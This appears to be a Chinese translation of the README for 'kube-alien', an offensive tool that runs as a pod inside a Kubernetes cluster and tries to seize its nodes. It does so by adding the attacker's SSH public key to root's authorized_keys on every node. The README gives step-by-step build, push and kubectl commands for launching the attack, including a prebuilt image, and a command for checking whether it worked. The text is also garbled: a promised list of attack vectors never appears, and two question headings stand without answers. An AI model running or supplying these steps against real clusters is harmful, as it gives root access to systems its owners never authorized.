
该工具从集群内部对 k8s 集群发起攻击。这意味着你需要已经拥有在集群中部署 Pod 的权限才能运行它。运行 kube-alien Pod 后,它会尝试通过将你的公钥添加到节点的 /root/.ssh/authorized_keys 文件中来接管集群节点,使用的镜像为 https://github.com/nixwizard/dockercloud-authorizedkeys(可通过 config.py 中的 ADD_AUTHKEYS_IMAGE 参数进行调整),该镜像 fork 自 docker/dockercloud-authorizedkeys。 如果集群的某个组件存在配置错误,攻击将沿着以下向量成功执行:
该工具的目的是什么?
在真实场景中,k8s 集群如何从内部被攻击?
在使用此工具前,应将 Kube-alien 镜像推送到你的 DockerHub(或其他仓库)。
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
需要设置 AUTHORIZED_KEYS 环境变量,其值为你的 SSH 公钥。如果攻击成功,该公钥将被添加到所有节点的 root 用户的 authorized_keys 文件中。
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
或者你可以使用我的镜像进行快速测试:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
检查 kube-alien Pod 的日志,查看攻击是否成功:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')